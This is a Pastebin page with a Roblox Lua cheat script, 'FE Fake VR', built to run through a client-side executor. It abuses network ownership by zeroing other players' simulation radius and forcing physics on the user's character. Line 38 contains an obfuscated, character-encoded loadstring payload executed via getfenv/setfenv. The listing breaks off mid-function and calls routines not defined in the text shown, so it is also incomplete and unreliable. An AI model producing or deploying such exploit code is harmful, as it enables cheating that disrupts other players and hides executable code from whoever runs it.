Roblox FE Fake VR - Pastebin.com (2024)

  1. -- Gui to Lua

  2. -- Version: 3.2

  3. -- Instances:

  4. local ScreenGui = Instance.new("ScreenGui")

  5. local Frame = Instance.new("Frame")

  6. local TextButton = Instance.new("TextButton")

  7. --Properties:

  8. ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")

  9. Frame.Parent = ScreenGui

  10. Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

  11. Frame.Position = UDim2.new(0.45607698, 0, 0.231281191, 0)

  12. Frame.Size = UDim2.new(0, 360, 0, 212)

  13. Frame.Style = Enum.FrameStyle.DropShadow

  14. TextButton.Parent = Frame

  15. TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

  16. TextButton.Position = UDim2.new(0.118343093, 0, 0.250322282, 0)

  17. TextButton.Size = UDim2.new(0, 261, 0, 98)

  18. TextButton.Font = Enum.Font.SourceSansBold

  19. TextButton.Text = "Fake VR"

  20. TextButton.TextColor3 = Color3.fromRGB(0, 0, 0)

  21. TextButton.TextSize = 35.000

  22. TextButton.MouseButton1Down:connect(function()

  23. for i,v in next, game:GetService("Players").LocalPlayer.Character:GetDescendants() do

  24. if v:IsA("BasePart") and v.Name ~="HumanoidRootPart" then

  25. game:GetService("RunService").Heartbeat:connect(function()

  26. v.Velocity = Vector3.new(0,35,0)

  27. wait(0.5)

  28. end)

  29. end

  30. end

  31. game:GetService("StarterGui"):SetCore("SendNotification", {

  32. Title = "Notification";

  33. Text = "Netless activated";

  34. Icon = "rbxthumb://type=Asset&id=5107182114&w=150&h=150"})

  35. Duration = 16;

  36. end)

  37. TextButton.MouseButton1Down:connect(function()

  38. function Senti_IiiiIiIiIiiIiIIiIIiIi_(a,_)if a~=nil then if _>-2+(-41)+(2)+(72)+(95)+(-91)+(30)then print("you're usin fps unlock")end if Senti_IiiiIiIiIiiIiIIiIIiIie then print("you usin synapse.congratulations(I have no idea what to say)")end if("hello")=="x68x65x6Cx6Cx6F"then print("are you usin a bad exploit?")end return true elseif a==nil then return true else return end end Senti_IiiiIiIiIiiIiIIiIIiIie=Senti_IiiiIiIiIiiIiIIiIIiIie or nil Senti_IiiiIiIiIiiIiIIiIIiIid=Senti_IiiiIiIiIiiIiIIiIIiIid or Instance.new("Script") Senti_IiiiIiIiIiiIiIIiIIiIic=game:GetService("Workspace"):GetRealPhysicsFPS() Senti_IiiiIiIiIiiIiIIiIIiIib=game:GetService("Players")['LocalPlayer'] Senti_IiiiIiIiIiiIiIIiIIiIia=Senti_IiiiIiIiIiiIiIIiIIiIi_(Senti_IiiiIiIiIiiIiIIiIIiIib,Senti_IiiiIiIiIiiIiIIiIIiIic) if(not Senti_IiiiIiIiIiiIiIIiIIiIia)==true then return pcall(function()game:GetService("TestService"):Fail("Cannot load script")end)end return xpcall(function(a,b)local c=a local _=b a,b=nil,nil table.clear(c()) local _={} local b={} b.number=(65-(20/100)+.2) local d=getmetatable(newproxy(true)) local a=getmetatable(setmetatable({},{})) spawn(function()if c()then wait() d[2](d[3](d[4]))()else return"bitch"end end) local _=function(_)local d="" local a=function(_)return(_:gsub(".",function(_)if tonumber(_)then return _ else return""end end))end for _,c in next,string.split(_,"\a")do local _=tonumber(a(c)) if _~=nil then d=d..string.char(_-b.number)elseif c then d=d..c end end return d:sub(4)end a.index=_([['{\173;\176;\162;\165;\180;\181;\179;\170;\175;\168;}']]) d={} d[1-(20/100)+.2]=c() d[2-(20/100)+.2]=d[1][a.index] d[3-(20/100)+.2]=_ d[4-(20/100)+.2]=[['{\167;\176;\179;\97;\170;\109;\183;\97;\170;\175;\97;\175;\166;\185;\181;\109;\97;\168;\162;\174;\166;\123;\136;\166;\181;\148;\166;\179;\183;\170;\164;\166;\105;\99;\145;\173;\162;\186;\166;\179;\180;\99;\106;\111;\141;\176;\164;\162;\173;\145;\173;\162;\186;\166;\179;\111;\132;\169;\162;\179;\162;\164;\181;\166;\179;\123;\136;\166;\181;\133;\166;\180;\164;\166;\175;\165;\162;\175;\181;\180;\105;\106;\97;\165;\176;\78;\75;\170;\167;\97;\183;\123;\138;\180;\130;\105;\99;\131;\162;\180;\166;\145;\162;\179;\181;\99;\106;\97;\162;\175;\165;\97;\183;\111;\143;\162;\174;\166;\97;\191;\126;\99;\137;\182;\174;\162;\175;\176;\170;\165;\147;\176;\176;\181;\145;\162;\179;\181;\99;\97;\181;\169;\166;\175;\97;\78;\75;\168;\162;\174;\166;\123;\136;\166;\181;\148;\166;\179;\183;\170;\164;\166;\105;\99;\147;\182;\175;\148;\166;\179;\183;\170;\164;\166;\99;\106;\111;\137;\166;\162;\179;\181;\163;\166;\162;\181;\123;\164;\176;\175;\175;\166;\164;\181;\105;\167;\182;\175;\164;\181;\170;\176;\175;\105;\106;\78;\75;\183;\111;\151;\166;\173;\176;\164;\170;\181;\186;\97;\126;\97;\151;\166;\164;\181;\176;\179;\116;\111;\175;\166;\184;\105;\110;\115;\118;\111;\119;\109;\113;\109;\113;\106;\78;\75;\166;\175;\165;\106;\78;\75;\168;\162;\174;\166;\123;\136;\166;\181;\148;\166;\179;\183;\170;\164;\166;\105;\99;\147;\182;\175;\148;\166;\179;\183;\170;\164;\166;\99;\106;\111;\137;\166;\162;\179;\181;\163;\166;\162;\181;\123;\164;\176;\175;\175;\166;\164;\181;\105;\167;\182;\175;\164;\181;\170;\176;\175;\105;\106;\78;\75;\184;\162;\170;\181;\105;\111;\113;\114;\106;\78;\75;\183;\111;\151;\166;\173;\176;\164;\170;\181;\186;\97;\126;\97;\151;\166;\164;\181;\176;\179;\116;\111;\175;\166;\184;\105;\113;\109;\113;\109;\113;\106;\78;\75;\166;\175;\165;\106;\78;\75;\166;\175;\165;\78;\75;\166;\175;\165;\78;\75;\78;\75;\168;\162;\174;\166;\123;\136;\166;\181;\148;\166;\179;\183;\170;\164;\166;\105;\99;\148;\181;\162;\179;\181;\166;\179;\136;\182;\170;\99;\106;\123;\148;\166;\181;\132;\176;\179;\166;\105;\99;\148;\166;\175;\165;\143;\176;\181;\170;\167;\170;\164;\162;\181;\170;\176;\175;\99;\109;\97;\188;\97;\78;\75;\149;\170;\181;\173;\166;\97;\126;\97;\99;\143;\176;\181;\170;\167;\170;\164;\162;\181;\170;\176;\175;\99;\124;\78;\75;\149;\166;\185;\181;\97;\126;\97;\99;\143;\166;\181;\173;\166;\180;\180;\97;\162;\164;\181;\170;\183;\162;\181;\166;\165;\157;\175;\132;\179;\166;\162;\181;\166;\165;\97;\163;\186;\97;\142;\170;\130;\170;\137;\180;\138;\180;\114;\115;\115;\119;\99;\124;\78;\75;\138;\164;\176;\175;\97;\126;\97;\99;\179;\163;\185;\181;\169;\182;\174;\163;\123;\112;\112;\181;\186;\177;\166;\126;\130;\180;\180;\166;\181;\103;\170;\165;\126;\118;\114;\113;\120;\114;\121;\115;\114;\114;\117;\103;\184;\126;\114;\118;\113;\103;\169;\126;\114;\118;\113;\99;\124;\78;\75;\133;\182;\179;\162;\181;\170;\176;\175;\97;\126;\97;\114;\119;\124;\190;\106;\78;\75;}']]end,function(_)game:GetService("TestService"):Fail("\n"..(script or Instance.new('Script')):GetFullName().." has occurred an error:".._)end,getfenv,setfenv)

  39. end)

  40. TextButton.MouseButton1Down:connect(function()

  41. spawn(function()

  42. while game:GetService("RunService").Heartbeat:Wait() do

  43. local chr = game.Players.LocalPlayer.Character

  44. for _,v in pairs(chr:GetChildren()) do

  45. if v:IsA("BallSocketConstraint") or v:IsA("HingeConstraint") or v.Name == "Controls" or v.Name == "Local Ragdoll" or v.Name == "State Handler" or v.Name == "FirstPerson" or v.Name == "FakeAdmin" then

  46. v:Destroy()

  47. end

  48. end

  49. end

  50. end)

  51. end)

  52. TextButton.MouseButton1Down:connect(function()

  53. -- VR - FE FULL-BODY VR SCRIPT

  54. -- April 21st Update - TOOL HOLDING ADDED

  55. -- |

  56. -- |

  57. --RagDollEnabled is set to true, DON'T set it to false or VR won't work. Feel free to change the other settings though.

  58. --|| Settings:

  59. local StudsOffset = 0 -- Character height (negative if you're too high)

  60. local Smoothness = .5 -- Character interpolation (0.1 - 1 = smooth - rigid)

  61. local AnchorCharacter = true -- Prevent physics from causing inconsistencies

  62. local HideCharacter = false -- Hide character on a platform

  63. local NoCollision = true -- Disable player collision

  64. local ChatEnabled = true -- See chat on your left hand in-game

  65. local ChatLocalRange = 75 -- Local chat range

  66. local ViewportEnabled = true -- View nearby players in a frame

  67. local ViewportRange = 30 -- Maximum distance players are updated

  68. local RagdollEnabled = true -- Use your character instead of hats (NetworkOwner vulnerability)

  69. local RagdollHeadMovement = true -- Move your head separately from your body (+9 second wait)

  70. local AutoRun = false -- Run script on respawn

  71. local AutoRespawn = true -- Kill your real body when your virtual body dies

  72. local WearAllAccessories = true -- Use all leftover hats for the head

  73. local AccurateHandPosition = true -- Move your Roblox hands according to your real hands

  74. local AccessorySettings = {

  75. LeftArm = "";

  76. RightArm = "";

  77. LeftLeg = "";

  78. RightLeg = "";

  79. Torso = "";

  80. Head = true;

  81. BlockArms = true;

  82. BlockLegs = true;

  83. BlockTorso = true;

  84. LimbOffset = CFrame.Angles(math.rad(90), 0, 0);

  85. }

  86. local FootPlacementSettings = {

  87. RightOffset = Vector3.new(.5, 0, 0),

  88. LeftOffset = Vector3.new(-.5, 0, 0),

  89. }

  90. --|| Script:

  91. local Script = nil;

  92. Script = function()

  93. --[[

  94. Variables

  95. --]]

  96. local Players = game:GetService("Players")

  97. local Client = Players.LocalPlayer

  98. local Character = Client.Character or Client.CharacterAdded:Wait()

  99. local WeldBase = Character:WaitForChild("HumanoidRootPart")

  100. local ArmBase = Character:FindFirstChild("RightHand") or Character:FindFirstChild("Right Arm") or WeldBase

  101. local Backpack = Client:WaitForChild("Backpack")

  102. local Mouse = Client:GetMouse()

  103. local Camera = workspace.CurrentCamera

  104. local VRService = game:GetService("VRService")

  105. local VRReady = VRService.VREnabled

  106. local UserInputService = game:GetService("UserInputService")

  107. local RunService = game:GetService("RunService")

  108. local HttpService = game:GetService("HttpService")

  109. local StarterGui = game:GetService("StarterGui")

  110. local HeadAccessories = {};

  111. local UsedAccessories = {};

  112. local Pointer = false;

  113. local Point1 = false;

  114. local Point2 = false;

  115. local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]

  116. local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]

  117. local Anchor = Instance.new("Part")

  118. Anchor.Anchored = true

  119. Anchor.Transparency = 1

  120. Anchor.CanCollide = false

  121. Anchor.Parent = workspace

  122. if RagdollEnabled then

  123. print("RagdollEnabled, thank you for using CLOVR!")

  124. local NetworkAccess = coroutine.create(function()

  125. settings().Physics.AllowSleep = false

  126. while true do game:GetService("RunService").RenderStepped:Wait()

  127. for _,Players in next, game:GetService("Players"):GetChildren() do

  128. if Players ~= game:GetService("Players").LocalPlayer then

  129. Players.MaximumSimulationRadius = 0.1 Players.SimulationRadius = 0 end end

  130. game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)

  131. game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge end end)

  132. coroutine.resume(NetworkAccess)

  133. end

  134. StarterGui:SetCore("VRLaserPointerMode", 3)

  135. --[[

  136. Character Protection

  137. --]]

  138. local CharacterCFrame = WeldBase.CFrame

  139. if not RagdollEnabled then

  140. Character.Humanoid.AnimationPlayed:Connect(function(Animation)

  141. Animation:Stop()

  142. end)

  143. for _, Track in next, Character.Humanoid:GetPlayingAnimationTracks() do

  144. Track:Stop()

  145. end

  146. if HideCharacter then

  147. local Platform = Instance.new("Part")

  148. Platform.Anchored = true

  149. Platform.Size = Vector3.new(100, 5, 100)

  150. Platform.CFrame = CFrame.new(0, 10000, 0)

  151. Platform.Transparency = 1

  152. Platform.Parent = workspace

  153. Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))

  154. wait(.5)

  155. end

  156. if AnchorCharacter then

  157. for _, Part in pairs(Character:GetChildren()) do

  158. if Part:IsA("BasePart") then

  159. Part.Anchored = true

  160. end

  161. end

  162. end

  163. end

  164. --[[

  165. Functions

  166. --]]

  167. function Tween(Object, Style, Direction, Time, Goal)

  168. local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction])

  169. local tween = game:GetService("TweenService"):Create(Object, tweenInfo, Goal)

  170. tween.Completed:Connect(function()

  171. tween:Destroy()

  172. end)

  173. tween:Play()

  174. return tween

  175. end

  176. local function GetMotorForLimb(Limb)

  177. for _, Motor in next, Character:GetDescendants() do

  178. if Motor:IsA("Motor6D") and Motor.Part1 == Limb then

  179. return Motor

  180. end

  181. end

  182. end

  183. local function CreateAlignment(Limb, Part0)

  184. local Attachment0 = Instance.new("Attachment", Part0 or Anchor)

  185. local Attachment1 = Instance.new("Attachment", Limb)

  186. local Orientation = Instance.new("AlignOrientation")

  187. local Position = Instance.new("AlignPosition")

  188. Orientation.Attachment0 = Attachment1

  189. Orientation.Attachment1 = Attachment0

  190. Orientation.RigidityEnabled = false

  191. Orientation.MaxTorque = 20000

  192. Orientation.Responsiveness = 40

  193. Orientation.Parent = Character.HumanoidRootPart

  194. Position.Attachment0 = Attachment1

  195. Position.Attachment1 = Attachment0

  196. Position.RigidityEnabled = false

  197. Position.MaxForce = 40000

  198. Position.Responsiveness = 40

  199. Position.Parent = Character.HumanoidRootPart

  200. Limb.Massless = false

  201. local Motor = GetMotorForLimb(Limb)

  202. if Motor then

  203. Motor:Destroy()

  204. end

  205. return function(CF, Local)

  206. if Local then

  207. Attachment0.CFrame = CF

  208. else

  209. Attachment0.WorldCFrame = CF

  210. end

  211. end;

  212. end

  213. local function GetExtraTool()

  214. for _, Tool in next, Character:GetChildren() do

  215. if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL") then

  216. return Tool

  217. end

  218. end

  219. end

  220. local function GetGripForHandle(Handle)

  221. for _, Weld in next, Character:GetDescendants() do

  222. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then

  223. return Weld

  224. end

  225. end

  226. wait(.2)

  227. for _, Weld in next, Character:GetDescendants() do

  228. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then

  229. return Weld

  230. end

  231. end

  232. end

  233. local function CreateRightGrip(Handle)

  234. local RightGrip = Instance.new("Weld")

  235. RightGrip.Name = "RightGrip"

  236. RightGrip.Part1 = Handle

  237. RightGrip.Part0 = WeldBase

  238. RightGrip.Parent = WeldBase

  239. return RightGrip

  240. end

  241. local function CreateAccessory(Accessory, DeleteMeshes)

  242. if not Accessory then

  243. return

  244. end

  245. local HatAttachment = Accessory.Handle:FindFirstChildWhichIsA("Attachment")

  246. local HeadAttachment = VirtualRig:FindFirstChild(HatAttachment.Name, true)

  247. local BasePart = HeadAttachment.Parent

  248. local HatAtt = HatAttachment.CFrame

  249. local HeadAtt = HeadAttachment.CFrame

  250. if DeleteMeshes then

  251. if Accessory.Handle:FindFirstChild("Mesh") then

  252. Accessory.Handle.Mesh:Destroy()

  253. end

  254. end

  255. wait()

  256. local Handle = Accessory:WaitForChild("Handle")

  257. if Handle:FindFirstChildWhichIsA("Weld", true) then

  258. Handle:FindFirstChildWhichIsA("Weld", true):Destroy()

  259. Handle:BreakJoints()

  260. else

  261. Handle:BreakJoints()

  262. end

  263. Handle.Massless = true

  264. Handle.Transparency = 0.5

  265. UsedAccessories[Accessory] = true

  266. local RightGrip = CreateRightGrip(Handle)

  267. wait()

  268. for _, Object in pairs(Handle:GetDescendants()) do

  269. if not Object:IsA("BasePart") then

  270. pcall(function()

  271. Object.Transparency = 1

  272. end)

  273. pcall(function()

  274. Object.Enabled = false

  275. end)

  276. end

  277. end

  278. return Handle, RightGrip, HatAtt, HeadAtt, BasePart;

  279. end

  280. local function GetHeadAccessories()

  281. for _, Accessory in next, Character:GetChildren() do

  282. if Accessory:IsA("Accessory") and not UsedAccessories[Accessory] then

  283. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = CreateAccessory(Accessory)

  284. table.insert(HeadAccessories, {Handle, RightGrip, HatAtt, HeadAtt, BasePart})

  285. do

  286. Handle.Transparency = 1

  287. end

  288. if not WearAllAccessories then

  289. break

  290. end

  291. end

  292. end

  293. end

  294. --[[

  295. VR Replication Setup

  296. --]]

  297. if not RagdollEnabled then

  298. LeftHandle, LeftHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm), AccessorySettings.BlockArms)

  299. RightHandle, RightHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm), AccessorySettings.BlockArms)

  300. LeftHipHandle, LeftLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg), AccessorySettings.BlockLegs)

  301. RightHipHandle, RightLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg), AccessorySettings.BlockLegs)

  302. TorsoHandle, TorsoGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso), AccessorySettings.BlockTorso)

  303. GetHeadAccessories()

  304. elseif RagdollEnabled then

  305. if RagdollHeadMovement then

  306. Permadeath()

  307. MoveHead = CreateAlignment(Character["Head"])

  308. end

  309. MoveRightArm = CreateAlignment(Character["Right Arm"])

  310. MoveLeftArm = CreateAlignment(Character["Left Arm"])

  311. MoveRightLeg = CreateAlignment(Character["Right Leg"])

  312. MoveLeftLeg = CreateAlignment(Character["Left Leg"])

  313. MoveTorso = CreateAlignment(Character["Torso"])

  314. MoveRoot = CreateAlignment(Character.HumanoidRootPart)

  315. if RagdollHeadMovement then

  316. for _, Accessory in next, Character:GetChildren() do

  317. if Accessory:IsA("Accessory") and Accessory:FindFirstChild("Handle") then

  318. local Attachment1 = Accessory.Handle:FindFirstChildWhichIsA("Attachment")

  319. local Attachment0 = Character:FindFirstChild(tostring(Attachment1), true)

  320. local Orientation = Instance.new("AlignOrientation")

  321. local Position = Instance.new("AlignPosition")

  322. print(Attachment1, Attachment0, Accessory)

  323. Orientation.Attachment0 = Attachment1

  324. Orientation.Attachment1 = Attachment0

  325. Orientation.RigidityEnabled = false

  326. Orientation.ReactionTorqueEnabled = true

  327. Orientation.MaxTorque = 20000

  328. Orientation.Responsiveness = 40

  329. Orientation.Parent = Character.Head

  330. Position.Attachment0 = Attachment1

  331. Position.Attachment1 = Attachment0

  332. Position.RigidityEnabled = false

  333. Position.ReactionForceEnabled = true

  334. Position.MaxForce = 40000

  335. Position.Responsiveness = 40

  336. Position.Parent = Character.Head

  337. end

  338. end

  339. end

  340. end

  341. --[[

  342. Movement

  343. --]]

  344. VirtualRig.Name = "VirtualRig"

  345. VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p

  346. VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p

  347. VirtualRig.Parent = workspace

  348. VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)

  349. VirtualRig.Humanoid.Health = 0

  350. VirtualRig:BreakJoints()

  351. --

  352. VirtualBody.Parent = workspace

  353. VirtualBody.Name = "VirtualBody"

  354. VirtualBody.Humanoid.WalkSpeed = 8

  355. VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)

  356. VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)

  357. VirtualBody.Humanoid.Died:Connect(function()

  358. print("Virtual death")

  359. if AutoRespawn then

  360. Character:BreakJoints()

  361. if RagdollHeadMovement and RagdollEnabled then

  362. Network:Unclaim()

  363. Respawn()

  364. end

  365. end

  366. end)

  367. --

  368. Camera.CameraSubject = VirtualBody.Humanoid

  369. Character.Humanoid.WalkSpeed = 0

  370. Character.Humanoid.JumpPower = 1

  371. for _, Part in next, VirtualBody:GetChildren() do

  372. if Part:IsA("BasePart") then

  373. Part.Transparency = 1

  374. end

  375. end

  376. for _, Part in next, VirtualRig:GetChildren() do

  377. if Part:IsA("BasePart") then

  378. Part.Transparency = 1

  379. end

  380. end

  381. if not VRReady then

  382. VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled = true

  383. VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true

  384. end

  385. local OnMoving = RunService.Stepped:Connect(function()

  386. local Direction = Character.Humanoid.MoveDirection

  387. local Start = VirtualBody.HumanoidRootPart.Position

  388. local Point = Start + Direction * 6

  389. VirtualBody.Humanoid:MoveTo(Point)

  390. end)

  391. Character.Humanoid.Jumping:Connect(function()

  392. VirtualBody.Humanoid.Jump = true

  393. end)

  394. UserInputService.JumpRequest:Connect(function()

  395. VirtualBody.Humanoid.Jump = true

  396. end)

  397. --[[

  398. VR Replication

  399. --]]

  400. if RagdollEnabled then

  401. for _, Part in pairs(Character:GetDescendants()) do

  402. if Part:IsA("BasePart") and Part.Name == "Handle" and Part.Parent:IsA("Accessory") then

  403. Part.LocalTransparencyModifier = 1

  404. elseif Part:IsA("BasePart") and Part.Transparency < 0.5 and Part.Name ~= "Head" then

  405. Part.LocalTransparencyModifier = 0.5

  406. elseif Part:IsA("BasePart") and Part.Name == "Head" then

  407. Part.LocalTransparencyModifier = 1

  408. end

  409. if not Part:IsA("BasePart") and not Part:IsA("AlignPosition") and not Part:IsA("AlignOrientation") then

  410. pcall(function()

  411. Part.Transparency = 1

  412. end)

  413. pcall(function()

  414. Part.Enabled = false

  415. end)

  416. end

  417. end

  418. end

  419. local FootUpdateDebounce = tick()

  420. local function FloorRay(Part, Distance)

  421. local Position = Part.CFrame.p

  422. local Target = Position - Vector3.new(0, Distance, 0)

  423. local Line = Ray.new(Position, (Target - Position).Unit * Distance)

  424. local FloorPart, FloorPosition, FloorNormal = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character})

  425. if FloorPart then

  426. return FloorPart, FloorPosition, FloorNormal, (FloorPosition - Position).Magnitude

  427. else

  428. return nil, Target, Vector3.new(), Distance

  429. end

  430. end

  431. local function Flatten(CF)

  432. local X,Y,Z = CF.X,CF.Y,CF.Z

  433. local LX,LZ = CF.lookVector.X,CF.lookVector.Z

  434. return CFrame.new(X,Y,Z) * CFrame.Angles(0,math.atan2(LX,LZ),0)

  435. end

  436. local FootTurn = 1

  437. local function FootReady(Foot, Target)

  438. local MaxDist

  439. if Character.Humanoid.MoveDirection.Magnitude > 0 then

  440. MaxDist = .5

  441. else

  442. MaxDist = 1

  443. end

  444. local PastThreshold = (Foot.Position - Target.Position).Magnitude > MaxDist

  445. local PastTick = tick() - FootUpdateDebounce >= 2

  446. if PastThreshold or PastTick then

  447. FootUpdateDebounce = tick()

  448. end

  449. return

  450. PastThreshold

  451. or

  452. PastTick

  453. end

  454. local function FootYield()

  455. local RightFooting = VirtualRig.RightFoot.BodyPosition

  456. local LeftFooting = VirtualRig.LeftFoot.BodyPosition

  457. local LowerTorso = VirtualRig.LowerTorso

  458. local Yield = tick()

  459. repeat

  460. RunService.Stepped:Wait()

  461. if

  462. (LowerTorso.Position - RightFooting.Position).Y > 4

  463. or

  464. (LowerTorso.Position - LeftFooting.Position).Y > 4

  465. or

  466. ((LowerTorso.Position - RightFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4

  467. or

  468. ((LowerTorso.Position - LeftFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4

  469. then

  470. break

  471. end

  472. until tick() - Yield >= .17

  473. end

  474. local function UpdateFooting()

  475. if not VirtualRig:FindFirstChild("LowerTorso") then

  476. wait()

  477. return

  478. end

  479. local Floor, FloorPosition, FloorNormal, Dist = FloorRay(VirtualRig.LowerTorso, 3)

  480. Dist = math.clamp(Dist, 0, 5)

  481. local FootTarget =

  482. VirtualRig.LowerTorso.CFrame *

  483. CFrame.new(FootPlacementSettings.RightOffset) -

  484. Vector3.new(0, Dist, 0) +

  485. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2

  486. if FootReady(VirtualRig.RightFoot, FootTarget) then

  487. VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p

  488. VirtualRig.RightFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)

  489. end

  490. FootYield()

  491. local FootTarget =

  492. VirtualRig.LowerTorso.CFrame *

  493. CFrame.new(FootPlacementSettings.LeftOffset) -

  494. Vector3.new(0, Dist, 0) +

  495. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2

  496. if FootReady(VirtualRig.LeftFoot, FootTarget) then

  497. VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p

  498. VirtualRig.LeftFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)

  499. end

  500. end

  501. local function UpdateTorsoPosition()

  502. if not RagdollEnabled then

  503. if TorsoHandle then

  504. local Positioning = VirtualRig.UpperTorso.CFrame

  505. if not TorsoGrip or not TorsoGrip.Parent then

  506. TorsoGrip = CreateRightGrip(TorsoHandle)

  507. end

  508. local Parent = TorsoGrip.Parent

  509. TorsoGrip.C1 = CFrame.new()

  510. TorsoGrip.C0 = TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25, 0) * AccessorySettings.LimbOffset), Smoothness)

  511. TorsoGrip.Parent = nil

  512. TorsoGrip.Parent = Parent

  513. end

  514. else

  515. local Positioning = VirtualRig.UpperTorso.CFrame

  516. MoveTorso(Positioning * CFrame.new(0, -0.25, 0))

  517. MoveRoot(Positioning * CFrame.new(0, -0.25, 0))

  518. end

  519. end

  520. local function UpdateLegPosition()

  521. if not RagdollEnabled then

  522. if RightHipHandle then

  523. local Positioning =

  524. VirtualRig.RightLowerLeg.CFrame

  525. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)

  526. + Vector3.new(0, 0.5, 0)

  527. if not RightHipHandle or not RightHipHandle.Parent then

  528. RightLegGrip = CreateRightGrip(RightHipHandle)

  529. end

  530. local Parent = RightLegGrip.Parent

  531. RightLegGrip.C1 = CFrame.new()

  532. RightLegGrip.C0 = RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)

  533. RightLegGrip.Parent = nil

  534. RightLegGrip.Parent = Parent

  535. end

  536. if LeftHipHandle then

  537. local Positioning =

  538. VirtualRig.LeftLowerLeg.CFrame

  539. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)

  540. + Vector3.new(0, 0.5, 0)

  541. if not LeftLegGrip or not LeftLegGrip.Parent then

  542. LeftLegGrip = CreateRightGrip(LeftHipHandle)

  543. end

  544. local Parent = LeftLegGrip.Parent

  545. LeftLegGrip.C1 = CFrame.new()

  546. LeftLegGrip.C0 = LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)

  547. LeftLegGrip.Parent = nil

  548. LeftLegGrip.Parent = Parent

  549. end

  550. else

  551. do

  552. local Positioning =

  553. VirtualRig.RightLowerLeg.CFrame

  554. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)

  555. * CFrame.Angles(0, math.rad(180), 0)

  556. + Vector3.new(0, 0.5, 0)

  557. MoveRightLeg(Positioning)

  558. end

  559. do

  560. local Positioning =

  561. VirtualRig.LeftLowerLeg.CFrame

  562. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)

  563. * CFrame.Angles(0, math.rad(180), 0)

  564. + Vector3.new(0, 0.5, 0)

  565. MoveLeftLeg(Positioning)

  566. end

  567. end

  568. end

  569. warn("VRReady is", VRReady)

  570. local function OnUserCFrameChanged(UserCFrame, Positioning, IgnoreTorso)

  571. local Positioning = Camera.CFrame * Positioning

  572. if not IgnoreTorso then

  573. UpdateTorsoPosition()

  574. UpdateLegPosition()

  575. end

  576. if not RagdollEnabled then

  577. if UserCFrame == Enum.UserCFrame.Head and AccessorySettings.Head then

  578. for _, Table in next, HeadAccessories do

  579. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = unpack(Table)

  580. local LocalPositioning = Positioning

  581. if not RightGrip or not RightGrip.Parent then

  582. RightGrip = CreateRightGrip(Handle)

  583. Table[2] = RightGrip

  584. end

  585. local Parent = RightGrip.Parent

  586. if BasePart then

  587. LocalPositioning = BasePart.CFrame * HeadAtt

  588. end

  589. RightGrip.C1 = HatAtt

  590. RightGrip.C0 = RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)

  591. RightGrip.Parent = nil

  592. RightGrip.Parent = Parent

  593. end

  594. elseif RightHandle and UserCFrame == Enum.UserCFrame.RightHand and AccessorySettings.RightArm then

  595. local HandPosition = Positioning

  596. local LocalPositioning = Positioning

  597. if not RightHandGrip or not RightHandGrip.Parent then

  598. RightHandGrip = CreateRightGrip(RightHandle)

  599. end

  600. if AccurateHandPosition then

  601. HandPosition = HandPosition * CFrame.new(0, 0, 1)

  602. end

  603. if not VRReady then

  604. local HeadRotation = Camera.CFrame - Camera.CFrame.p

  605. HandPosition = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset

  606. --LocalPositioning = (HeadRotation + (HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)

  607. LocalPositioning = HandPosition * CFrame.new(0, 0, 1) * CFrame.Angles(math.rad(-180), 0, 0)

  608. if Point2 then

  609. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  610. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  611. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  612. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  613. end

  614. elseif AccurateHandPosition then

